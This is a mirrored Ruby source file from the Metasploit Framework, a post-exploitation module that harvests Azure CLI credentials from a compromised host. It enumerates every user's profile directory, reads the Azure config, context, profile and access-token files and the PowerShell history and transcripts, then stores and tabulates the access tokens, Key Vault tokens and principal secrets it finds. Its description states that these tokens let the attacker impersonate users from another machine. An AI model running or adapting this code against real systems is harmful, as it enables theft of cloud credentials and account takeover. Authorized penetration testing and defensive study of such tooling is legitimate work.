CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/azure_cli_creds.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Unix
9
include Msf::Post::Windows::UserProfiles
10
include Msf::Post::Azure
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Azure CLI Credentials Gatherer',
17
'Description' => %q{
18
This module will collect the Azure CLI 2.0+ (az cli) settings files
19
for all users on a given target. These configuration files contain
20
JWT tokens used to authenticate users and other subscription information.
21
Once tokens are stolen from one host, they can be used to impersonate
22
the user from a different host.
23
},
24
'License' => MSF_LICENSE,
25
'Author' => [
26
'James Otten <jamesotten1[at]gmail.com>', # original author
27
'h00die' # additions
28
],
29
'Platform' => ['win', 'linux', 'osx'],
30
'SessionTypes' => ['meterpreter'],
31
'Notes' => {
32
'Stability' => [CRASH_SAFE],
33
'Reliability' => [],
34
'SideEffects' => []
35
}
36
)
37
)
38
end
39
40
def rep_creds(user, pass, type)
41
create_credential_and_login({
42
# must have an IP address, can't be a domain...
43
address: '13.107.246.69', # 'portal.azure.com' https://www.nslookup.io/domains/portal.azure.com/dns-records/ June 24, 2024
44
port: 443,
45
protocol: 'tcp',
46
workspace_id: myworkspace_id,
47
origin_type: :service,
48
private_type: :password, # most are actually JWT (cookies?) but thats not an option
49
private_data: pass,
50
service_name: "azure: #{type}",
51
module_fullname: fullname,
52
username: user,
53
status: Metasploit::Model::Login::Status::UNTRIED
54
})
55
end
56
57
def parse_json(data)
58
data.strip!
59
# remove BOM, https://www.qvera.com/kb/index.php/2410/csv-file-the-start-the-first-header-column-name-can-remove-this
60
data.gsub!("\xEF\xBB\xBF", '')
61
json_blob = nil
62
begin
63
json_blob = JSON.parse(data)
64
rescue ::JSON::ParserError => e
65
print_error("Unable to parse json blob: #{e}")
66
end
67
json_blob
68
end
69
70
def user_dirs
71
user_dirs = []
72
if session.platform == 'windows'
73
grab_user_profiles.each do |profile|
74
user_dirs.push(profile['ProfileDir'])
75
end
76
elsif session.platform == 'linux' || session.platform == 'osx'
77
user_dirs = enum_user_directories
78
else
79
fail_with(Failure::BadConfig, 'Unsupported platform')
80
end
81
user_dirs
82
end
83
84
def get_az_version
85
command = 'az --version'
86
command = "powershell.exe #{command}" if session.platform == 'windows'
87
version_output = cmd_exec(command, 60)
88
# https://rubular.com/r/IKvnY4f15Rfujx
89
version_output.match(/azure-cli\s+\(?([\d.]+)\)?/)
90
end
91
92
def run
93
version = get_az_version
94
if version.nil?
95
print_status('Unable to determine az cli version')
96
else
97
print_status("az cli version: #{version[1]}")
98
end
99
profile_table = Rex::Text::Table.new(
100
'Header' => 'Subscriptions',
101
'Indent' => 1,
102
'Columns' => ['Account Name', 'Username', 'Cloud Name']
103
)
104
tokens_table = Rex::Text::Table.new(
105
'Header' => 'Tokens',
106
'Indent' => 1,
107
'Columns' => ['Source', 'Username', 'Count']
108
)
109
context_table = Rex::Text::Table.new(
110
'Header' => 'Context',
111
'Indent' => 1,
112
'Columns' => ['Username', 'Account Type', 'Access Token', 'Graph Access Token', 'MS Graph Access Token', 'Key Vault Token', 'Principal Secret']
113
)
114
115
user_dirs.map do |user_directory|
116
vprint_status("Looking for az cli data in #{user_directory}")
117
# leaving all these as lists for consistency and future expansion
118
119
# ini file content, not json.
120
vprint_status(' Checking for config files')
121
%w[.azure/config].each do |file_location|
122
possible_location = ::File.join(user_directory, file_location)
123
next unless exists?(possible_location)
124
125
# we would prefer readable?, but windows doesn't support it, so avoiding
126
# an extra code branch, just handle read errors later on
127
128
data = read_file(possible_location)
129
next unless data
130
131
# https://stackoverflow.com/a/16088751/22814155 no ini ctype
132
loot = store_loot 'azure.config.ini', 'text/plain', session, data, file_location, 'Azure CLI Config'
133
print_good " #{file_location} stored in #{loot}"
134
end
135
136
vprint_status(' Checking for context files')
137
%w[.azure/AzureRmContext.json].each do |file_location|
138
possible_location = ::File.join(user_directory, file_location)
139
next unless exists?(possible_location)
140
141
data = read_file(possible_location)
142
next unless data
143
144
loot = store_loot 'azure.context.json', 'text/json', session, data, file_location, 'Azure CLI Context'
145
print_good " #{file_location} stored in #{loot}"
146
data = parse_json(data)
147
next if data.nil?
148
149
results = process_context_contents(data)
150
results.each do |result|
151
context_table << result
152
next if result[0].blank?
153
next unless framework.db.active
154
155
rep_creds(result[0], result[2], 'Access Token') unless result[2].blank?
156
rep_creds(result[0], result[3], 'Graph Access Token') unless result[3].blank?
157
rep_creds(result[0], result[4], 'MS Graph Access Token') unless result[4].blank?
158
rep_creds(result[0], result[5], 'Key Vault Token') unless result[5].blank?
159
rep_creds(result[0], result[6], 'Principal Secret') unless result[6].blank?
160
end
161
end
162
163
vprint_status(' Checking for profile files')
164
%w[.azure/azureProfile.json].each do |file_location|
165
possible_location = ::File.join(user_directory, file_location)
166
next unless exists?(possible_location)
167
168
data = read_file(possible_location)
169
next unless data
170
171
loot = store_loot 'azure.profile.json', 'text/json', session, data, file_location, 'Azure CLI Profile'
172
print_good " #{file_location} stored in #{loot}"
173
data = parse_json(data)
174
next if data.nil?
175
176
results = process_profile_file(data)
177
results.each do |result|
178
profile_table << result
179
end
180
end
181
182
%w[.azure/accessTokens.json].each do |file_location|
183
possible_location = ::File.join(user_directory, file_location)
184
next unless exists?(possible_location)
185
186
data = read_file(possible_location)
187
next unless data
188
189
loot = store_loot 'azure.token.json', 'text/json', session, data, file_location, 'Azure CLI Tokens'
190
print_good " #{file_location} stored in #{loot}"
191
results = process_tokens_file(data)
192
results.each do |result|
193
tokens_table << result
194
end
195
end
196
197
# windows only
198
next unless session.platform == 'windows'
199
200
vprint_status(' Checking for console history files')
201
%w[AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt].each do |file_location|
202
possible_location = ::File.join(user_directory, file_location)
203
next unless exists?(possible_location)
204
205
data = read_file(possible_location)
206
next unless data
207
208
loot = store_loot 'azure.console_history.txt', 'text/plain', session, data, possible_location, 'Azure CLI Profile'
209
print_good " #{possible_location} stored in #{loot}"
210
211
results = print_consolehost_history(data)
212
results.each do |result|
213
print_good(result)
214
end
215
end
216
217
# https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.host/start-transcript?view=powershell-7.4#description
218
vprint_status(' Checking for powershell transcript files')
219
220
# Post failed: Rex::Post::Meterpreter::RequestError stdapi_fs_ls: Operation failed: Access is denied.
221
begin
222
files = dir("#{user_directory}/Documents")
223
rescue Rex::Post::Meterpreter::RequestError
224
files = []
225
end
226
227
files.each do |file_name|
228
next unless file_name =~ /PowerShell_transcript\.[\w_]+\.[^.]+\.\d+\.txt/
229
230
possible_location = "#{user_directory}/Documents/#{file_name}"
231
data = read_file(possible_location)
232
next unless data
233
234
loot = store_loot 'azure.transcript.txt', 'text/plain', session, data, possible_location, 'Powershell Transcript'
235
print_good " #{possible_location} stored in #{loot}"
236
237
results = print_consolehost_history(data)
238
results.each do |result|
239
print_good(result)
240
end
241
end
242
end
243
244
print_good(profile_table.to_s) unless profile_table.rows.empty?
245
print_good(tokens_table.to_s) unless tokens_table.rows.empty?
246
print_good(context_table.to_s) unless context_table.rows.empty?
247
end
248
end
249
250